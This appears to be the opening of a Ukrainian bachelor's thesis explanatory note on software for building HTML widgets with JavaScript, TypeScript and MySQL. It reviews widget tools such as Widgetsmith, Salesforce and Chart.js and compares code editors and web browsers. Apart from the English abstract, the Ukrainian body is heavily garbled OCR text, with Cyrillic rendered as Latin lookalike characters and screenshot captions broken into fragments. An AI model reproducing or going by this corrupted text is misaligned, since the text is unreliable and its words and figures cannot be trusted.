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[TosicHroBaJIbHA ~ 3ammWcKka 10 JAWIUIOMHOI  KBamidikariiiHoi poOoTu

OakanaBpa: 97 c., 53 puc., 3 Tabmn., 2 gox., 18 mrepen.

JAVASCRIPT, TYPESCRIPT, HTML, MYSQL, BA3A JIAHUX,
BI/IKET, BEE3BACTOCYHOK

OG’€eKT TOCTIIKEHHS — MPOIIEC PO3POOKU MTPOTrpaMHOI0 3a0e3MeUeHHS ISl
ctBopenHs HTML-BikeTiB.

[IpeameT mociimKeHHs — IPOrpaMHi 3aco0U ISl CTBOPEHHS B1/IKETIB.

Metoto pobotu € po3poOKa MHPOrpaMHOro 3abe3MeyYeHHs CTBOPEHHS
HTML-BimxeTiB.

Marepianu, MeToAu Ta TEXHIYHI 3ac00M: MOBa MporpaMmyBaHHs JavaScript 3
BukopuctanHaMm TypeScript Ta Node.s, cucrema kepyBaHHS 0Oa3zaMH JTaHUX
MySQL.

Pesynpratu. Po3poGneHo mporpamHe 3a0e3ledyeHHs i CTBOPCHHS
BI/DKETIB 3a JIOIOMOIOK0 MOBM MporpamyBaHHs JavaScript, 1o J103BOJisi€
3a0€3MeUYnTH KOPUCTyBaYaM MOKIIUBICTh CAMOCTIHHO CTBOPIOBATH BIJIKETH.

[IpakTyHa IIHHICTE POOOTH TMOJATae y Po3polll MPOrpaMHOIo
3abe3reueHHs 1ia crBopeHHss HTML-BimkeTis.

BucHoBku. BukoHaHO MPOEKTYBaHHS MPOrPaMHOTO 3a0€3MEeUeHHS IS IS
ctBopeHHs HTML-BixetiB. Po3poOneHo mnporpamHe 3a0e3neueHHs Ui JUIs
ctBoperns HTML-BimkeTiB. 3MiliCHEHO TECTyBaHHS PO3pOOJIECHOTO MPOTrPaMHOTO
3abe3rneueHHs g ctBopeHHss HTML-BimkeTis.

I"any3p BuKkopucranns — cgepa IT.



ABSTRACT

Explanatory note to the diploma qualifying work of the bachelor: 97 pages,

53 figures, 3 tables, 2 appendixes, 18 sources.

JAVASCRIPT, TYPESCRIPT, HTML, MYSQL, DATABASE, WIDGET,
WEB APPLICATION

The object of research is the process of developing software for creating
HTML-widgets.

The subject of the research is software for creating HTML-widgets.

The purpose of the work is to develop software for creating HTML
widgets.

Materials, methods and technical means: JavaScript programming language
using TypeScript and Node.js, MySQL database management system.

The results. Developed software for creating widgets using the JavaScript
programming language, which allows users to create widgets themselves.

The practical value of the work lies in the development of software for
creating HTML widgets.
Conclusions. Software design for creating HTML widgets has been completed.
Developed software for creating HTML widgets. The developed software for
creating HTML widgets was tested.
Scope of use is the field of IT.



INEPEJIIK CKOPOYEHb TA YMOBHHUX IIO3HAK

TS — TypeScript

DB — Database

HTML — Hypertext Markup Language
JS — JavaScript

IT — Inpopmaniitai TexHoIOrIT

b/l — baza nannux
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BCTVYII

VY cydacHOMy CBiTi 4ac — HAWIIHHIIINNA Ta HAWIOPOKIHHA pecypc, Hembane
CTaBJICHHS JIO SIKOTO MOXE TMPHUBECTH 0 KaTacTpOoPIYHUX HACIIJIKIB, TaKUX SIK,
HANPUKIIAJ,, BEJIMKHX TPOIIOBUX BTpar. Lle, aBkek, TakoX CTOCYeThCs cdepH
[adpopmaniitnux Texnonoriit (gami — IT).

[HdopmartiiftHi TeXHOJIOT1T Ta 3B'I30K — 1€ cdepa, o BIANOBIIAE 3a 301p,
30epiranHs 1 nepeaady iHpopMmarlii 3a 1I0MOMOTOI TEXHIYHUX MPUCTPOIB.

CrporojiHi >kofHa Tally3b HE MOXKE€ HOpPMaJbHO ICHYBaTH Ta B3arail
dbyukiionyBatu 6e3 QaxiBuiB 3 1HQOpMAIIHHUX TEXHOJOTIH: 30ip Ta aHami3
CTaTUCTHKH, MBUAKA Tepeaada iHopmarlli mpuBenu A0 SKICHUX 3MIH Maike B
KOXXHOMY HampsiMKy. ABTOMaTH3allii Ha BUPOOHUIITBAX, EJIEKTPOHHHUHN O0OJIK
JOKYMEHTIB B J€p’KaBHUX YIPABIIHHAX Ta MEAMIMHI, JUCTAHI[IHA OCBITA — II€
rapHi  MPUKJIaAMd YCHIITHOTO TMOBCIOJHOTO BIIPOBA/KEHHS 1H(OpMaIiiiHO-
KOMYHIKallI{HUX TEXHOJIOT1M.

[TocTiiiHui Ta HAAWIBUAKUN PO3BUTOK L€l chepu MPU3BOIUTH 10 BEITUKOI
KOHKYPEHIIi1 SIK Y TOTeHI[IaIbHUX MPOrpamicTiB, Tak 1y IT-komnanii, 60 IT-chepa
SIBIISIETBCSA  OJHIEIO 3 HAUTICPCIICKTUBHIIIMX Trajy3ei B CBITOBIM €KOHOMIIII.

Toxx mBuAKa Ta sKICHA pPO3poOKa CalTiB, MJOJATKIB Ta IHIIOTO
mporpaMHoro 3a0e3medeHHs 3a0e3MedyuTh TapHy pemyTalilo Ta BHCOKY
KOHKYPEHTOCIPOMOXKHICTb SIK OKPEMOT KOMIIaHii, TaK 1 CaMOT0 IporpamicTa.

CamMe TyT Ha [ONOMOTY TMPUXOAATh PI3HI KOHCTPYKTOPH CaMTIB,
¢bpeitmBopkH, 010mioTekH Ta iHIII Habopu 1HCTpyMmeHTIB. Lli 3acobu cTBOpeHi
creniaigbHo JJIsl TOro, adu MOJIETIIUTH Ta MPUIIBUAIIUTHA POOOTY MpOorpamicra.

Toxx MOXHa cka3aTy, 110 HA JIaHWW MOMEHT 4acy JOJATOK JJIsi CTBOPEHHS
HTML-BiKeTiB MOXXE CTaTH HaWaKTyaJIbHIIICIO 3ajlaueto, 00 IIe JIOTIOMOXKE
MiIBANUTH €(PEKTUBHICTh, CIIPOCTUTH Ta MPUIIBUAIIATUA TIPOILEC PO3POOKU BeO-
CalTIB Ta JOJATKIB SIK JII1 KOMIAaHI{, TaK 1 JUIsl IPOrpaMicTiB B IIJIOMY, a00 HaBITh
JUIsL 3BUYAlHUX KOPHUCTYBauiB, AKi Oa)KalOTb MaTH Ha pPoOOYOMY CTOJI1 CBOIO

MIEPCOHAIILHOTO TIPHUCTPOIO BC1 HEOOX1/THI 3aCO0M Ta IPOTPAMH.
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1 AHAJII3 TPEJIMETHOI OBJIACTI TA IOCTAHOBKA3ABJIAHHSA
1.1 Orasay nomyasipuux iH(oOpMaUiiHUX PpecypciB st CTBOPEHHS

html-Big:xeriB

ABXex, ICHye OaraTo IHCTPYMEHTIB ISl CTBOPEHHS BIJIKETIB, TAKUX SIK,
Hampukiaa, 0ibmioreka Bootstrap[1] — e Oe3komToBHUN HAOIp 1HCTPYMEHTIB 3
BIIKPUTUM KOJIOM, MPU3HAYEHUN NIJIi CTBOPEHHSI BEO-CaliTiB Ta Be0-3aCTOCYHKIB,
sakuid MictuTh madaoHu CSS ta HTML ngnst ¢popm, KHOMOK, HaBIramii Ta 1HIIUX
KOMITOHEHTIB 1HTep(ency, a TaKoX J0JIaTKOBI po3ImupeHHs MoBU JavaScript[2].
[{s 610710TEKa 3HAYHO CITPOIIY€E PO3POOKY TUHAMIYHUX CANTIB 1 BeO-10aTKIB.

Ane sxmo Opatu A0 yBarw came OKpemi JOJaTKH Jyuisi cTBOpeHHs html-
BIJKETIB, @ HE TUIBKUA IHCTPYMEHTH IJisl iX CTBOPEHHS, TO Hapasi iX iCHy€ He Tak
Oararto, Ta PyHKIIIOHAJ [IUX JOJATKIB HE 3aBXKIU MOE BIJIMOBIAATH yCIM BUMOTaM
KopucTyBauiB. To HalOUIbII MOMYJSPHI Ta KOPUCHI AOJATKU OyIyTh MEpeideHi
HUKYE.

Widgetsmith — 1ieif 1o7aTOK JA03BOJISIE CTBOPIOBATH O1IBIN «ITPOKAYAHD»
BI/UKETH Ta BHUBOJUTHM HA €KpaH TMPUCTPOIO Taky iHQopMalio: dYac Ta
MICIIE3HAXO)KCHHS, TeMIepaTypy TIOBITpS Ta TIOTOJy, KUIBKICTh KPOKIB,
HaraJlyBaHHs, ¥ 1€ TIIbKM 4YacTHHA MOXJIMBOCTEH I[hOTO JOMaTKy. €
OE3KOILITOBHUM J10/IaTKOM.

SK1110 BU Ay>Ke MOJ00JII€Te pOCIMHU Ta BUPOIIYETE iX BAOMA, TO, MaOyTh,
3Ha€Te MPO Te, IO MOXKHA TyKe Jerko 3a0ytu mpo monuB. ll{obu pocnuna He
3arvHyJa, MOKHAa CKOPHUCTATHCh JoJaTkoM-HaragyBaHHsM Plant Daddy. ILlei
3aCTOCYHOK JI03BOJISIE BHECTH JaH1 PO BC1 Ballll POCJIMHHU 1 HAJIAIITYBATH 3pyUYHHIM
IHTEepBall JJI1 HaraJyBaHHsS Tpo OOOB'S3KOBUH MMOJWB. Bimker 3 Takum
HaraJyBaHHAM Oe3 mpoOsIeM PO3MIIIYEThCA HAa €KpaHi OJIOKYBaHHS, 1 MOXJIMBICTD
MPOITYCTUTH MOMEHT TIOJIMBY 3BOAMTHCS MPAKTHYHO 110 HYJsI. Hegomikamu Takoro
JI0JIaTKy MOXe OYTH T€, 10 PETYJISIPHI CIOBIIMIEHHS 1HKOJIM MOXYTh B1JIBOJIKATH

moauny. [lei 1o1aTok Takox 0€3KOIITOBHUIMA.
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Sxuro Bam notpibeH niiicHO KOPUCHUI JT0JAaTOK, 3BEPHITH CBOIO yBary Ha
Code Widgets. [Iporpama no3Bosisie 1oAaBaTH Ha €KpaH MITPUX-KOJ KapT, IKUMH
BH YacTO KOPHUCTyeTecs, MO0 He 3aja3utu a0 nporpamu «[amaners» miopasy,
KOJIM CTOiTe Ha Kaci. Bu mMoxere mogaBaTH CTUIBKM KapT, CKUIBKK BaM MOTPIOHO
MaTd y WIBUAKOMY JOCTyMmi. Y JOJaTKy MOJXKHA HaJAITOBYBAaTH KOJIBOPH
o OpMIICHHS BIJDKETY 3a BJIACHUM CMAKOM Ta OaKaHHSIM Ta 3a7aTH oMY OyIIb-SKy
Ha3By. Ha Miii morsisi, e ofauH 13 HalKpalux JT0JAaTKIB JIJii CTBOPEHHS BIJIXKETIB.
JlogaToK MOBHICTIO OE3KOIITOBHHUH.

Battery Widget — ust mporpama Bi3yanizye BuOpaHi MOKa3HUKHU (PIBEHb
3apsiny, Butpata O3Y, KUIBKICTH BUIBHOI MaMm'sTi Ta HaBiTh Bepcito 10S) y
KOMITakTHOMY (popmaTi. SIKIo KijgbKa malioHiB, TO BCl BOHU Oe3KomToBHI. Jlis
3MIHM KOJIIpHOT CXEeMH JOBEJEeThCS KynuTu Pro-Bepcito (€ 1 mepenrmiara, 1
MOXJIMBICTh OJTHOPA30BOi MOKYMNKH), TOX LIEH J0/IaTOK HE € O€3KOIITOBHUM.

Chart.js — 111 my’ke mpocTa Ta 3po3yMila mporpama J103BOJISIE CTBOPUTH O
BuiB aiarpam. biomiorexka BukopucroBye HTMLS5 Canvas[3] a1 moOynoBu
JiarpaM Ta CTBOPIOE MPOCTUH, IIBUAKO pearyrounii Ha 3Minu au3aiH. Llel nogaTox

€ OE3KOIITOBHUM.

1.2 Orasia cTeKy TeXHOJIOTI Ta 3ac00iB /I CTBOPEHHS BiZKeTiB

Bimker — me enemeHT rpadiudoro iHTepdelicy KOpucTyBaya, 110 Mae
CTaHJAPTHUN 30BHIIIHIM BUTIIAJ Ta BUKOHYE cTaHAapTH1 nii. Takox BimkeToM
HA3WBaIOTh €leMeHT KepyBaHHs [4]. Lleil HeBeIMKHMI 3aCTOCYHOK BiJloOpakae
HEO0OX1IHY KOpUCTyBaueBi iHPOpMaIlito abo MPOCTO MPHUKpAIIA€ €KPaH MTPUCTPOIO.
J1o HaWOLIBII PO3MOBCIOKCHUX BIJKETIB BITHOCATHCS CTpiUKa HOBHH, TOJUHHUK,
IPOTHO3 TMOTroAW Ta IHmN. TOX BIIKETH KOPUCHI THUM, IO PO3IMIHUPIOIOTH
byHKII0HAT raKeTa a00 OHJIAWH-TUIATQOPMHU.

B namn yac icHye 6e3:114 TOTOBUX Mporpam Ta 3aco0iB, skl HE MOTPEeOyIOTh

B1Jl KOPUCTYBaya AKUXOCh OCOOJMBUX HABUYOK.
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Hanpuxknan, mmargopma Salesforce micTuTh B co01 Bce HEOOXiIHE s
KEepyBaHHsI BalllUM caiiToM abo0 JOAaTKOM, MpOJakaMH, HaJallTyBaHHS PEKJIaMH,
TApreTUHTY, YNPaBIiHHA (piHAHCAMU Ta HABITh JJIs CTBOPEHHS BIIKETIB [5].

IaTepdeiic mmardopmu HaBeeHO HA PUCYHKY 1.1.

A Having Trouble Logging In After MFA Auto-Enablement? Read More

Browse documentation by
product area

@ a

Markefing Commerce Analytics Platform

Marketing

Sales Service

Pucynox 1.1 — ITnmardopma Salesforce [5]

Cropinka cTBOpeHHs BIJDKETIB y cucteMi Salesforce HaBeneHo Ha puc. 1.2.

Q, IloMck AOKYMEHTOB, BWAECPONUKOB M PECYPCOB CrIPaBKi

&> Help

HawaneHas crpasmua  [lpogyerer v OOpareTecs samoagepxkod  Mon oOpamesrs

Pacmmpense cactemer Salesforce ez xomuporarms

CIMPABKA SALESFORCE OKYMEHTHI > PACHITHPEHWE CHCTEMBI SALESFORCE BE3 KOJJUPOBAHHA
COIEPKHMOE - Al . &

Q Tomcx: Co31aHne BHIXKETOB

> Pacmmpesme oGTacti Aeficrsi: oprammanm: .
Blmfm TIOZBOJIAKOT CO3J3BATh HACTPAHBAEMBIE MHOTOPA30BRIE 3TTEMEHTRI CTPAHHIIEI ITVTEM O0BEIHHCHHA TEKVIIHX 3TEMEHTOB CTPAHHIBED

* Coaaaiire cobernennnti sel-caiit Site.com, HacTpamBaemMoro kofa i CSS.

v Site.com TPEGVEMBIE BEPCHH H TOJTHOMOYHA MOIb30BATEIA

> OOmme cEefeHHA O JHLEHSHAX Ha

¥ouMmoreHT Site com - -~ . .
Joczymao & seperax: Salesforce Classic (meaverymae o seex opranmsamx)

[IzaHBpoEaHe H EHEIPEHNE Bed-

e Do JocTymEoe 118 MpHOOpeTerns B Bepcuax: Enterprise Edition. Performance Edition 1 Unlimited Edition.

Hecmymmo (< orpammscsmmm) = sepeaes: Developer Edition.

Coszamme coodmectsa Slte.com

Cosgasmme cafra Site.com

HEOBXOTHMBIE MOTHOMOYNA MOJIB30OBATETA

Hamopt u yTIpaETenne ARTHERMM

e s b L7 cosauR, PeIAKTHPOSARKA H YIpaETerns caBTam Site.com Ioae «llonbzosaTens Site.com Publishers, enmodensoe Ha

BEMECIES BUBCIPY NIUPE St CTpaEHITe CBEICHHI 0 OME30BaTENe

» 3aeMeHTHI CTpaHHUE! Silk.cuin H

Hacrpofxa npegerasnenms Site.com

PO ATMHHEHCTPATOPA CARTA HTH KOHCIPVETOPA, HA3HIYeHHAq Ha
VpOEHE caiiTa

Pucynok 1.2 — CtBopenHs BipkeTiB y cucremi Salesforce [5]
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Takox CTBOpIOBaHHS BIJKETIB MOXIMBO 3aBasku rmiatdopmi IBM —
OJHIET 3 HAWUOUIBIIUX aMEPUKAHCHKUX EJIEKTPOHHUX KOpHopaliil Ta ojHlel 13
HaWOUIBIIMX CBITOBMX BHUPOOHMKIB YCIX BHUJIB KOMITIOTEPIB 1 MPOTrpamMHOTO
3abe3neuenns. Kommaniss 00’eqHye Bci HEOOXIJHI TEXHOJIOTII Ta TMOCIYTH,
HE3JIEKHO B1J] MOXO/KEHHS LMX PIIIeHb, 100 JONOMOITH KJII€HTaM BHUPILIUTH
HalaKTyaJlbHIII 013HEC-TIPOOIEMH. Cropinka CTBOPEHHS BIJIKETIB

MIPOJIEMOHCTPOBaHa Ha puc. 1.3.

Mokymentauus a x
IBM Business Automation ¢ All products / 18M Business Automation Warkflow / 19 / e —— T T
Workflow
Wamenurs aepeo Buoyxket CrnmCcok coaepxXmmoro

Mocnennee oHosnetme: 2021-03-01
AuKET CNUCOK CONENMUMOrD UENNNRIYETER, YTORK NOKAIATH CIMEOK NIDKYMEHTOR, N0NYYeHHRX © cepAepa Content Platform
Engine. MNonb30BaTENH MOTYT HCNONL30BaTL 3TOT CMMCOK ANA NPOCMOTPa AOKYMEHTOB M MX CBOACTB, ANA CO34aHWA BEPCHA
NOKYMEHTOB 11 ANA 3arPYSKU AOKYMEHTOB.

MokasaTs sce ornaanexme

@uAbTp NO 3aronosxaM

B mniume e ClIMCOK COXERMIMOI O 1) IBSOBE | €28 MOKE |

Awarpamma — Leaxas! WenKkHyTE Mo AOKYMEHTY, 'TobsI OTKPEITE ero

Buarmer = WenkHyTe NpaBoli KHOMKOM MblWW B BUMKeTe CIMCOK CONePMMMOro, 4Tobbl BEINONHWTE OCHOBHBIE OnepaunK (HanpuMep,
Crncos npoc
copaepXuMoro

TPETB AUKYMENTEI, COSAATS BEPCHI AOKY MERTOB, SATPYSHTS AUKYMERTE! M MSMERNTE CEOACTEA AOKYMENTOR)

— BeinonkuT B NOMCK & CANCKS AOKYMEHTOR

1I0AroTOBKA K

Bui aofasnseTe BunxeT CAMCOK COQEMKMMOTD Ha CTpaHMUy PaboTa u CBR3bIBAETE 3TOT BUMKET © BumeTomM Bxopsuwe. Tubo Bk
MoKeTe 106aBUTE BULKET HA HOBYIO CTPAHMUY BMECTE C BUAKETOM MNPOCMOTP, & 38TEM M3MEHUTE NapaMeTpbl BUMLKETa, 3a0a6
URI coxpaseHHore nowcka

MOMHO H3MEHWTE NapaMeTPLl BUIKETA CNUCOK COAEPKMMOro, HTOGkI

20482ATC NPCACTADNCIIMG NO YMONYAIIMIO ANA CNHCKA M YIKQIHTES, MOTYT Ak paGoTalowme ¢ ACNoM NCPCIUTIONATLCA C OA1IOro

npeAcTaBneHna Ha Apyroe.

Pucynok 1.3 — CtBopeHHs BikeTiB y cuctemi IBM [6]

[lepenik mocnyr komnanii IBM naBeneno Ha puc.1.4.

Products Solutions v Consulting ~ Support v More Q =l

Explore our technology

= ng

lecnnology o ‘f}-} Qf’

Inside IBM
Featurad A3 Al & machine learning A4 Analytics A
& &=
Asset managemant v Business automation v Compute & sarvers v

3 o8 s

= 8 o=
Dalabase W DevOps W IT aulumalion o
1 =] =
Middleware ~ Netwark v Operating system v
8 @ l=
Quantum e Security & identity v Storage "4

Pucynok 1.4 — Ilocnyru kommanii IBM [6]
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[IMomo OiMBII TPOCTIMMX Ta JACMICBIIMX 3ac0o0iB, TO MOXKHa 3a3HAYUTH
riarid GetSale.

Hi nst koro He cexper, 1mo po3poOKa Ta CynpoBiJl IHTEpHET-Mara3uHy — I1e
JuIIe Majga dYacTuHa poOOoTH 3 Horo mnpocyBaHHsS. OCHOBHE 3aBlaHHA - II€
30UIBIIICHHS MTPOIAXKIB, MIJIBUIIICHHS BII3HABAHOCTI Ta 301bIIIEHHS B1J[B11yBaHOCTI1
caiity. HoBoMy BmacHWKY cailTy 1HOJI CKJIAgHO po3iOpaTHCS B IIISAX, BHUPBaX
MPOJIaXiB, CETMEHTYBAHHI Ta 1HIIKMX NpeMyApocTsax. Ta i mpocyHyTi BeO-MalcTpH
BOJIIIOTH HE BUTpPAYaTH Yac Ha PyTUHY.

Came TOMY € chemiagbHl CcepBiCHM JUisl 1HTEpHET-Mara3uHiB, sKi
MOKPAIIyIOTh OBEAIHKOBI XapaKTEPUCTUKU calTy. Jlo TakuX sK pa3 1 BiTHOCUTHCS
GetSale (puc.1.5). Ta, aBxex, GetSale mpomoHye pi3HOMaHITHI BiIKETH, SKi
MOJICTIIYIOTh KOMYHIKAIIIIO 3 KIIE€HTOM, 1, 3pEIITO0, JI03BOJISIOTh YTPUMATH HOTO
Ha CauTI.

Bu MoxeTe HamamrTyBaTH MOKa3W BIIKETIB (B 0cOOMCTOMY KaOiHETi) mif
Jac BHKOHAaHHS miuied. Hampukian, 3amponoHyBaTH KOPUCTYBAdeBl 3HMKKY, 5K
TUIBKM BIH BUKOHAaB METY "NOJaBaHHS TOBapy B KoOWMK'" (HATUCHYB KHONKY "B
komuk'"). Taki yMOBH JI03BOJIAIOTH JIy’K€ TOYKOBO HAJAIITYBATH MOKAa3 BIHKETIB 1

JOCSTTH IXHBOT MAaKCUMaJIbHOI €(DEKTUBHOCTI.

NMpodeccnoHaneHBIM MHCTRYMEHRT ANH CO34aHIH
Bl xeToBs (pop-

Pucynox 1.5 — CtBopeHHs Bi/pKETIB 3a fomoMoru cepsicy GetSale
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Y mporeci JUIUIOMHOTO TMPOEKTYBaHHA OyJo TMPOBEIEHO aHami3
BUILICHABEJICHUX 1H(QOpPMAIIHHUX CHUCTEM, BHU3HAYEHI iX MOJKJIMBOCTI, BHUIIJICHO
nepeBar Ta 3a3Ha4eHO HEJIOTIKH.

IlepeBaru:

—  CY4YacHWH, 3po3yMiIud Ta 3py4HUN (YHKI[IOHAT, OCOOJMBO Jis
KEepyBaHHS BEJIUKUM O13HECOM;

— MpOCTUH 1HTEpPEIiC;

— JIesiKl 3aco0u MmoTpeOyroTh JHile 0a30Bl 3HAHHA 3 IPOrpaMmyBaHHS a0o0
HE TTOTPEeOYIOTh X 30BCIM.

Henomku:

— HAATO BUCOKa BapTICTh 3ac00iB, MO POOWTH iX HETOCTYITHHUMH IS
OUIBIIIOCTI KOPUCTYBAYIB;

— pecypciB Jeskux ImiatgpopM Ta 3aco0iB MOXKE HE BHUCTAyaTU s
BUPIIIEHHS yCiX MOCTaBJICHUX 3a/1a4;

— CTBOPEHHS BIPKETIB MOKJIMBE JIMIIIE B MEXaX 00paHOT CUCTEMHU;

— oOMexeHul BUOip PyHKIIOHATY BIJIKETIB;

— 3aKpUTHM KOJ CHUCTEMH, IO YHEMOXJIMBIIIOE TApPCUHT JAHUX JUIS

MOJIaJILIINX PO3POOOK.

1.3 BucHoBku 3a po3aiiiom 1

CyuacHi miatropMu Ta CUCTEMHU MAalOTh BEIUKY KUIBKICTh TepeBar Ijs
PO3BUTKY O13HECY, HaINpPUKIAJ IHTEPHET-Mara3uHiB, TOIIO, ajieé MalTh IYyXkKe
MaJIeHbKUM (PYHKIIOHAN [Jii CTBOPEHHS BIJKETIB, SIKI MOIVIM O MOKpallyBaTH
iHTEepQEic Ta MO3UTUBHO CIPUSTH HA PO3BUTOK Oi3Hecy. Takok BOHM MalOTh CBOi
HEJIOIIKH.

Tox, Gepydi 0 yBaru yce BHUILEHABEICHE, MOXHa CIpoOyBaTH MOJI0JIaTH
HEJIONIKH ICHYIOYHMX MPOrpaM Yy MPOIECi CTBOPEHHsI HOBOI MPOTPAMHOI CUCTEMH,
gka OyJie MaTh HeOOXiIHUM (PyHKI[IOHAJI Ta HAOIp 1HCTPYMEHTIB JJI MIPOCTOrO Ta

IIBUIKOTO CTBOPEHHS SIKICHUX Ta KOPUCHHUX BiJXKETIB.
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2 BUBIP IHCTPYMEHTAPIIO PO3POBKU CUCTEMUA
2.1 Bwu0ip cepenoBuia po3pooku

B sxocTi cepenoBuiiia po3poOku st JaHOTO 1oAaTKy Oyio oOpano Visual
Studio Code[7], sxuii yacTtime Ha3uBaTh VS Code — 1€ cyyacHuil penakTop
BUXIHOTO Koxay, cTBopeHuit Microsoft 13 Electron Framework ams Windows,
Linux 1 macOS. ®@yHkuii BKJIIOYAIOTh MIATPUMKY HAJIATOJKEHHS, IM1ICBIUyBaHHS
CUHTAKCHUCY, 1HTEJIEKTyaJlbHE 3aBEPIICHHS KOAy, (parMeHTH, pedakTOPUHT KOy
ta BOynoBanuit Git[8]. KopucryBaui MaroTh 3MOTYy 3MIHIOBAaTH TeMY, KOMOIHAIIIT
KJaBilll, [apaMeTpu Ta  BCTAHOBIIOBATH  PO3LIUPEHHS, SAKI  JOJAIOTh
(GYHKI[IOHATBHICTb.

Oco0nuBOCTI Ta TIEpeBaru AaHoi Cepeid pO3pOOKH TMOJIATAIOTh B TOMY, 1110
il MO’)KHa BUKOPUCTOBYBATH 3 PI3HUMHU MOBAMH IporpamyBaHHs, BKItoyatoun C,
C#, C++, Fortran, Go, Java, JavaScript, Node.js, Python ta in.. Bin 6a3yerbcs Ha
ctpyktypi Electron, sika BUKOPUCTOBYEThCS JIJIsi po3poOku BeO-ao0aaTkiB Node.js,
110 MPAIOI0Th HA MEXaH13M1 KOMIIOHYBaHHs Blink.

VS Code BUKOpHUCTOBYE TOM caMHil KOMIIOHEHT pefakTopa (Mij KOJI0BOIO
Ha3BOIO «Monacoy), aKuit BUKOpUCTOBY€eTbes B Azure DevOps.

Visual Studio Code Ttakox moctaudaetscs 3 IntelliSense mmst JavaScript,
TypeScript, JSON, CSS 1 HTML, a takox miarpumye HanarojpkeHas Node.js.
[linTpuMka J0OAATKOBMX MOB MOXKe OyTu 3abe3nedeHa OE3KOIITOBHUMU
po3mmpennasimu Ha VS Code Marketplace.

Takoxx Bapto nmomatu, mo Kopa Visual Studio jgo3Bossie kopuctyBadam
BCTAHOBJIIOBATH KOJIOBY CTOPIHKY, Ha K1l OyJe 30epekeHO aKTUBHHUI JTOKYMEHT,
CHUMBOJI HOBOT'O PsiJIKa Ta HABITh MOBY IIPOTPaMyBaHHs aKTUBHOTO JJOKYMEHTA.

Ile mo3Bosisie BUKOPUCTOBYBAaTH MOro Ha Oyab-sKkid mmatdopMmi, y Oyib-
AKIHA JIOKAJIbHIM Mepexi Ta Juisi Oyab-sKOi 3aJaHOi MOBH MpOTpamMyBaHHS, IO,
0e3repeydHo, € OJHIEI0 3 HAWBAKIIUBIIIKX TIEpeBar 1bOT0 peJaKkTopa cepe 0e3nidl

THIIIUX CEPEAOBUII] PO3POOKH.
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Visual Studio Code 30upae gaHi mpo BUKOPHUCTaHHS Ta HAJCWIAE iX [0
Microsoft, xoua 1110 QyHKIIIF0O MOXKHA BUMKHYTU. Uepe3 BIAKPUTHI BUXITHUN KO
porpamMu, KOJ TeJIeMeTpil TOCTYIMHHUMA IS TPOMAJICHKOCTI, sIKa MOKe 0a4uTH, 110
came 30upaerbcs. Y Tabmumii 2.1 HaBeneHO MOPIBHSHHS penakTopa komy Visual

Studio Code Ta He MeHII nomyJsipHUX cepegoBun] Atom ta WebStorm [9]-[10].

Tabmuus 2.1 — IlopiBHSIHHS Cy4aCHUX CEPEIOBUI pO3POOKH

Kareropis VS Code Atom WebStorm
JluHaMiyHU HAaO1p TEKCTY + + +
Pozmupennst / [1narin + + +
Linux, Linux Linux
Omeparriiina cucrema Windows Windows Windows
Mac OS X Mac OS X Mac OS X
ABTO3aIOBHEHHS KO + + +
HIBuaKicTh + _ _
Jlerko BCTaHOBUTH + _ _
3aiimae Majo Miclsl B mam’ STl + _ _
[IpoaykTuBHICTH + _ +
Juzaitn - + _
['Hy4KiCTh Ta 3py4HICTb
BUKOPHUCTAHHS " B -
[TigTpumKa O1IBIIOCTI MOB + _ _
MartepuHcbKka KOMIaHis Microsoft GitHub JetBrains

Cnin 3a3Ha4YWTH, 10 B ONUTYyBaHHI po3poOHUKIB Stack Overflow-2022
cepen 71010 pecnongentiB Visual Studio Code Ha3zBanu HalmomydspHIIIAM
THCTPYMEHTOM CEpEeJIOBUIlA pO3poOHMKA, Mpu IboMmy 74,48% MOBIIOMUIH, IO
BOHU HUM KOPHUCTYIOTHCS.

Came 3aBISKM BCIM BHUIIICHABEJIECHUM OCOOJMBOCTSAM Ta TepeBaraM JaHa

cucreMa Oyia oOpaHa B SIKOCTI OCHOBHOT'O CEPEJIOBHINA PO3POOKHU MPOCKTY.
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2.2 Bubip ocHOBHOrO Opay3epy B mpoueci po3pooxku

B sikoCTi OCHOBHOTO IIJTLOBOTO Opay3epy, Ha SIKAWA PO3POOHUK CIIHPAETHCS
IPH  CTBOPEHHI NIPOrpaMHOIO TPOAYKTYy, Oyso oOpaHo Opayszep Google
Chrome[11] — wue Oe3komITOBHUI BeO-Opay3ep, pO3POOJEHUNM KOMIAHIEIO
Google[12] Ha ocHOBI Opay3epa 3 BimkputuMm KoaoM Chromium Tta iHIIOTO
BIJIKpUTOTO TpOrpamMHOro 3a0e3rnedeHHs. MoJKHa cKa3aTd, [0 WOro MporpaMHa
apxiTekTypa OyJia CTBOpPEHa 3 YHCTOTO apKylla 3 METOI 3aJI0BOJICHHSI TTOTOYHHUX
notped xopuctyBauiB. HoBa apxiTekTypa Hacammiepea BU3HAe Tou (akT, mo Ha
ChOTOJTHI OLTBIIICTh BEOCANTIB € HE MPOCTO BeOCTOpiHKaMU, a i BeO-IIporpaMamu.

3asBICHUMU TepeBaraMu IIi€l apXiTeKTypu € TiJBUIIEHA CTaOUTbHICTD,
IIBUJIKICTh, O€3IeKa, a TaKoXX YHUCTHUM, TPOCTHH Ta e(peKkTHBHUN 1HTEepdeic
KOpPHUCTYBaua.

Y  Tabmumi  2.2. Oyae HaBEACHO TMOPIBHSHHS  HAWMOMYJSIPHIIINX

BeOOpay3epis [13].

Tabnuus 2.2 — IopiBHsiHHS BeO-Opay3epiB

Kareropis Google Chrome Opera Mozilla Firefox | Internet Explorer
CunxpoHizaiist
+ + + +
BKJIQJIOK
[IpuBatHMit
+ + + +
PEXUM
[TinTpumka Flash + _ _ _
Pexum
+ + _ _
CTUCHCHHS JTAaHUX
[TpoayKTUBHICTH + _ + _
Boynosani
IHCTPYMEHTHU + _ + _

po3poOHHKa
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Ha puc. 2.1. nponeMOHCTpOBaHO PEHTUHT BUKOPHUCTaHHS BeO-Opay3epiB B

VYkpaini cranoM Ha 2017 pik.

Chrome 60.74%
Opera - 11.6%
Firefox 10.4%
Safari 6.13%

Yandex Browser 3.49%

Browsers

IE 2.28%
Android
Edge 0.92%

Samsung Internet J0.73%

Other

Ukraine stats

Pucynok 2.1 — PeifTunr BukopuctanHs Be0-0Opay3epiB B YKpaiHi ctaHoMm Ha 2017p.

B ykpaiHCbKOMY cerMeHTI I1HTEpHETY cepejl JIECKTOMHUX Bepciii BeO-
OpayzepiB ctanoMm Ha mrotuil 2019, 6payzep Chrome BUKOPHUCTOBYBAJIM OJM3BKO
70 % kopucTyBadiB.

Cranom Ha 6epesenb 2023 poky — Chrome 3aiimae 64,8% puHKy.

